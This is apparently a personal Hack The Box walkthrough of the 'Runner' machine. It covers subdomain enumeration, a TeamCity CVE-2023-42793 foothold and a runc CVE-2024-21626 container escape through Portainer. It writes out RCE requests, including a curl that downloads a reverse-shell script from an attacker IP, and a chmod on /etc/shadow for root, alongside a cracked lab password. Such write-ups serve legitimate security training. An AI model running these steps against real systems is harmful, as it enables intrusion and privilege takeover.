Runner

HTB; Medium; Linux; 10.129.95.153

My Complain about this virtual machine. When I used the poc of CVE-2023-42793, I created an admin account at the TeamCity website, but….I cannot use the credential to login, it will stuck there forever. So I thought okay, maybe this isn’t intended, they don’t want you to log in. Wrong! you need to reset the virtual machine and then you could log in and grab the id_rsa plus the username plus the backup folder. My experience of this virtual is really f*&ked up by this, because I couldn’t continue. Then I admitted I am not good enough, and started to go through the guided mode, and finally realized that I got f*&ked by the server. Not only that, this virtual machine is just detour after detour after detour. Though I do learn something, but the time I’ve spent on it is just too much. I am gonna give this virtual machine 3/5.

Enumeration

Open ports: 22, 80

1. 22 is obviously the SSH port, boring
2. 80 is nginx 1.18.0 HTTP server
3. 8000 => 8000/tcp open nagios-nsca syn-ack ttl 63 Nagios NSCA

Nothing interesting on the page, but found an email address [email protected]

Using feroxbuster to enumerate path for port 80 is showing nothing

port 8000, has path /health and /version

1. /health shows ok
2. /version gives you 0-0-0 src, not very useful

gobuster dns -d runner.htb -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt

1. This returns nothing

ffuf -u http://10.129.10.168 -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H “Host: FUZZ.runner.htb” -t 20 -mc all -ac

1. Found teamcity subdomain

Go edit /etc/hosts, add <ip> teamcity.runner.htb, found the TeamCity page

Initial Foothold

https://github.com/Zyad-Elsayed/CVE-2023-42793

From the link https://darktrace.com/blog/race-against-time-detecting-jetbrains-teamcity-exploitation-activity-with-darktrace, we could actually form a RCE as

• POST /app/rest/debug/processes?exePath=/bin/sh&params=-c&params=ls+-la

Then we’ll get the reverse shell by running the following command

• POST /app/rest/debug/processes?exePath=/bin/sh&params=-c&params=curl+http://10.10.14.114/reverse_shell.sh+-O+./reverse_shell.sh
• POST /app/rest/debug/processes?exePath=/bin/sh&params=-c&params=chmod+700+reverse_shell.sh

Too bad we are actually in the dock container.

Found the id_rsa at OLDPWD=/data/teamcity_server/datadir/config/projects/AllProjects/pluginData/ssh_keys/id_rsa

Found the user john in one of the teamcity log. Anyway, if you could login through the teamcity server, then it won’t be too difficult to find.

Using the private ssh key and the username john, you could ssh to the target machine.

Privilege Escalation

This part is a pain in the ass. I just couldn’t continue without guided mode. So I am not going to be super detail about the steps.

Using netstat -tulpn, found some open ports, but these open ports couldn’t be access from the external network, we’ll have to map the ip to the server_name first.

Add the ip server_name to the /etc/hosts at kali’s side

Login to the teamcity server, and back up the file, we’ll find there is an SQL file, we could read the users. Copy mattew’s password hash and crack with john the ripper, get his password is piper123, but this is only the access credential to the portainer-administration.runner.htb.

Now comes the hard part, because piper123 is not matthew’s password at the host machine, it’s only the credential to log in to the portainer dashboard. To know the way to gain root privilege, you’ll first need to check runc’s version, and then you get that it is vulnerable to CVE-2024-21626. Honestly, without the guided mode, I won’t be able to find that!

Once you are in the portainer dashboard, we could create a container, put the working directory to /proc/self/fd/8, pick interactive &TTY console, enter user root. Then connect its console. To exploit it, read post https://github.com/KubernetesBachelor/CVE-2024-21626

Basically you connect the container console, and use chmod 6777 /proc/self/cwd/../../../etc/shadow, that will be all.